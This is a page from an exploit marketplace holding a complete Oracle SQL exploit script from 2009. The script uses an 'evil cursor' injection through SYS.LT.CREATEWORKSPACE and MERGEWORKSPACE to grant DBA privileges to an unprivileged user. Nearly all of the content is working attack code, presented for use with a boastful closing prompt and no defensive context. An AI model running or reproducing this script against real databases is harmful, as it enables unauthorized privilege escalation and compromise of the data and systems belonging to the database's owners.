[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Oracle SYS.LT.MERGEWORKSPACE Evil Cursor Exploit

Author
Andrea Purificato
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8170
Category
local exploits
Date add
01-12-2009
Platform
unsorted
================================================
Oracle SYS.LT.MERGEWORKSPACE Evil Cursor Exploit
================================================


# Title: Oracle SYS.LT.MERGEWORKSPACE Evil Cursor Exploit
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Andrea Purificato
# Published: 2009-12-01
# Verified: yes


view source
print?
-- 
-- sys-lt-mergeworkspaceV2.sql
--
--
-- Oracle SYS.LT.MERGEWORKSPACE exploit (9iR2/10gR1,10gR2,11gR1)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=SYS.LT.MERGEWORKSPACE
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] sys-lt-mergeworkspaceV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...
 
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.MERGEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
END;
/
 
prompt [-] YOU GOT THE POWAH!!



#  0day.today [2024-11-15]  #